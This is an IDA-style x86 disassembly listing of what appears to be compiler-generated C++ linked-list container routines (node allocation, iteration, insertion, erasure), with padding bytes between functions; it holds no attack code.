--------------------------------------------------------------------------- loc_415040: ; CODE XREF: sub_414E10+82j ; sub_414E10+10Dj ... mov ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_414E10 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415100 proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401ED8 sub_415100 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415140 proc near ; CODE XREF: sub_401726j arg_0 = dword ptr 4 sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call sub_401ED8 sub_415140 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_4016D6 mov edx, [eax] lea eax, [esp+8] push edx push eax mov ecx, edi call sub_40113B mov ecx, [eax] lea edx, [esp+10h] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] mov ecx, esi push eax call sub_401735 mov eax, esi pop edi pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4151C0 proc near ; CODE XREF: sub_401582j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40146F mov edx, [esi+4] mov ecx, esi push edx call sub_401CE9 sub_4151C0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415230 proc near ; CODE XREF: sub_4012E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401DBB mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415230 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415270 proc near ; CODE XREF: sub_401D9Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401DBB mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415270 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4152A0 proc near ; CODE XREF: sub_401488j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401D9D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40217B sub_4152A0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4152E0 proc near ; CODE XREF: sub_401258j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_401D9D mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4012E9 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401D70 test al, al jz short loc_41536D push edi mov edi, [esp+14h+arg_0] loc_41531F: ; CODE XREF: sub_4152E0+8Aj lea ecx, [esp+14h+var_C] call sub_401FC3 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415351 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401578 mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- jmp short loc_41535A ; --------------------------------------------------------------------------- loc_415351: ; CODE XREF: sub_4152E0+4Ej lea ecx, [esp+14h+var_C] call sub_4020C2 loc_41535A: ; CODE XREF: sub_4152E0+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401D70 test al, al jnz short loc_41531F pop edi loc_41536D: ; CODE XREF: sub_4152E0+38j pop esi add esp, 0Ch retn 4 sub_4152E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153B0 proc near ; CODE XREF: sub_401E38j push esi mov esi, ecx call sub_401ED3 mov eax, esi pop esi retn sub_4153B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153D0 proc near ; CODE XREF: sub_401FC3j mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_4153D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4153F0 proc near ; CODE XREF: sub_4020C2j push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_4153F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415420 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4015D7 neg al sbb eax, eax inc eax retn 4 sub_415420 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415450 proc near ; CODE XREF: sub_401F23j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401C8F sub_415450 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415490 proc near ; CODE XREF: sub_4011B8j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F mov edx, [esi+4] mov ecx, esi push edx call sub_401E33 sub_415490 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415500 proc near ; CODE XREF: sub_401992j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401249 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401CDA mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415500 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415540 proc near ; CODE XREF: sub_402257j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401CDA mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415540 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415570 proc near ; CODE XREF: sub_401F0Fj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402257 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401AAA sub_415570 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4155B0 proc near ; CODE XREF: sub_401933j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40132F pop esi add esp, 0Ch retn sub_4155B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415600 proc near ; CODE XREF: sub_401154j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_402257 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401992 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401AEB test al, al jz short loc_41568D push edi mov edi, [esp+14h+arg_0] loc_41563F: ; CODE XREF: sub_415600+8Aj lea ecx, [esp+14h+var_C] call sub_4011D1 mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415671 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_4010DC mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- jmp short loc_41567A ; --------------------------------------------------------------------------- loc_415671: ; CODE XREF: sub_415600+4Ej lea ecx, [esp+14h+var_C] call sub_4018C5 loc_41567A: ; CODE XREF: sub_415600+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401AEB test al, al jnz short loc_41563F pop edi loc_41568D: ; CODE XREF: sub_415600+38j pop esi add esp, 0Ch retn 4 sub_415600 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156D0 proc near ; CODE XREF: sub_401037j push esi mov esi, ecx call sub_401E97 mov eax, esi pop esi retn sub_4156D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4156F0 proc near ; CODE XREF: sub_4011D1j mov eax, [ecx] push eax call sub_402144 add esp, 4 retn sub_4156F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415710 proc near ; CODE XREF: sub_4018C5j push esi mov esi, ecx mov eax, [esi] push eax call sub_401249 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415710 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415740 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401EC4 neg al sbb eax, eax inc eax retn 4 sub_415740 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415770 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401DB6 sub_415770 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4157B0 proc near ; CODE XREF: sub_4014BFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B mov edx, [esi+4] mov ecx, esi push edx call sub_401F14 sub_4157B0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415820 proc near ; CODE XREF: sub_401901j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401BCC mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D7A mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415860 proc near ; CODE XREF: sub_40114Aj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D7A mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415860 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415890 proc near ; CODE XREF: sub_401410j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40114A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401D11 sub_415890 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4158D0 proc near ; CODE XREF: sub_401C76j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40140B pop esi add esp, 0Ch retn sub_4158D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415920 proc near ; CODE XREF: sub_40214Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_4] push esi mov esi, ecx push eax call sub_40114A mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401901 mov eax, [eax] lea ecx, [esp+10h+var_8] push ecx lea ecx, [esp+14h+var_C] mov [esp+14h+var_C], eax call sub_401339 test al, al jz short loc_4159AD push edi mov edi, [esp+14h+arg_0] loc_41595F: ; CODE XREF: sub_415920+8Aj lea ecx, [esp+14h+var_C] call sub_40135C mov edx, [eax] mov eax, [edi] cmp edx, eax jnz short loc_415991 lea eax, [esp+14h+arg_0] push 0 push eax lea ecx, [esp+1Ch+var_C] call sub_401EBF mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- jmp short loc_41599A ; --------------------------------------------------------------------------- loc_415991: ; CODE XREF: sub_415920+4Ej lea ecx, [esp+14h+var_C] call sub_40118B loc_41599A: ; CODE XREF: sub_415920+6Fj lea eax, [esp+14h+var_8] lea ecx, [esp+14h+var_C] push eax call sub_401339 test al, al jnz short loc_41595F pop edi loc_4159AD: ; CODE XREF: sub_415920+38j pop esi add esp, 0Ch retn 4 sub_415920 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4159F0 proc near ; CODE XREF: sub_402275j push esi mov esi, ecx call sub_401E42 mov eax, esi pop esi retn sub_4159F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A10 proc near ; CODE XREF: sub_40135Cj mov eax, [ecx] push eax call sub_4017E4 add esp, 4 retn sub_415A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A30 proc near ; CODE XREF: sub_40118Bj push esi mov esi, ecx mov eax, [esi] push eax call sub_401BCC mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_415A30 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A60 proc near ; CODE XREF: sub_401339j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401456 neg al sbb eax, eax inc eax retn 4 sub_415A60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415A90 proc near ; CODE XREF: sub_40113Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_40175D mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_415A90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415AD0 proc near ; CODE XREF: sub_4016D6j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_40175D mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_415AD0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415B00 proc near ; CODE XREF: sub_40217Bj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C62 mov edi, eax push edi call sub_401104 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401ED8 sub_415B00 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401104 push edi mov [eax], ebx call sub_401104 mov edi, [eax] push edi call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401F19 add esp, 4 mov ecx, esi push eax call sub_4021B7 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401DBB mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415BA0 proc near ; CODE XREF: sub_401735j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, ecx lea eax, [esp+4+arg_8] lea ecx, [esp+4+arg_4] push eax call sub_401CBC test al, al jz short loc_415BED push edi mov edi, [esp+8+arg_0] loc_415BBA: ; CODE XREF: sub_415BA0+4Aj lea ecx, [esp+8+arg_4] call sub_401A5F push eax lea ecx, [esp+0Ch+arg_0] push edi push ecx mov ecx, esi call sub_40217B ; --------------------------------------------------------------------------- lea ecx, [esp+8+arg_4] call sub_40210D lea edx, [esp+8+arg_8] lea ecx, [esp+8+arg_4] push edx call sub_401CBC test al, al jnz short loc_415BBA pop edi loc_415BED: ; CODE XREF: sub_415BA0+13j pop esi retn 0Ch sub_415BA0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415C20 proc near ; CODE XREF: sub_401FCDj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401578 mov ecx, eax call sub_401C62 mov esi, eax push esi call sub_4020A9 push esi mov ebx, eax call sub_401104 mov ecx, [eax] push ecx call sub_4020A9 mov edx, [ebx] push esi mov [eax], edx call sub_401104 push esi mov ebx, eax call sub_4020A9 mov eax, [eax] push eax call sub_401104 mov ecx, [ebx] push esi mov [eax], ecx call sub_401F19 add esp, 1Ch mov ecx, edi push eax call sub_401500 push esi mov ecx, edi call sub_401CE9 sub_415C20 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415CE0 proc near ; CODE XREF: sub_40146Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jz short loc_415D3A loc_415CF8: ; CODE XREF: sub_415CE0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401578 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FCD ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401D70 test al, al jnz short loc_415CF8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_415D3A: ; CODE XREF: sub_415CE0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_415CE0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415D70 proc near ; CODE XREF: sub_401ED8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4020F4 sub_415D70 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_415D85 mov edi, esi loc_415D85: ; CODE XREF: ___:00415D81j push esi call sub_4020A9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_415D9A mov edi, esi loc_415D9A: ; CODE XREF: ___:00415D96j push esi call sub_401104 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415DC0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401E1A sub_415DC0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415DE0 proc near ; CODE XREF: sub_4020A9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_415DE0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E00 proc near ; CODE XREF: sub_401F19j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_415E00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E20 proc near ; CODE XREF: sub_401ED3j mov eax, ecx retn sub_415E20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E40 proc near ; CODE XREF: sub_401DBBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40175D mov eax, esi pop esi retn 4 sub_415E40 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415E70 proc near ; CODE XREF: sub_401578j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4020C2 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_415E70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_415EA0 proc near ; CODE XREF: sub_4015D7j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_415EA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415ED0 proc near ; CODE XREF: sub_401AAAj arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401F8C mov edi, eax push edi call sub_401163 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401C8F sub_415ED0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401163 push edi mov [eax], ebx call sub_401163 mov edi, [eax] push edi call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_402144 add esp, 4 mov ecx, esi push eax call sub_4015F0 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401CDA mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415F70 proc near ; CODE XREF: sub_4017E9j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4010DC mov ecx, eax call sub_401F8C mov esi, eax push esi call sub_401249 push esi mov ebx, eax call sub_401163 mov ecx, [eax] push ecx call sub_401249 mov edx, [ebx] push esi mov [eax], edx call sub_401163 push esi mov ebx, eax call sub_401249 mov eax, [eax] push eax call sub_401163 mov ecx, [ebx] push esi mov [eax], ecx call sub_402144 add esp, 1Ch mov ecx, edi push eax call sub_401D61 push esi mov ecx, edi call sub_401E33 sub_415F70 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416030 proc near ; CODE XREF: sub_40132Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jz short loc_41608A loc_416048: ; CODE XREF: sub_416030+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4010DC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4017E9 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401AEB test al, al jnz short loc_416048 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_41608A: ; CODE XREF: sub_416030+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416030 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4160C0 proc near ; CODE XREF: sub_401C8Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4015AF sub_4160C0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short 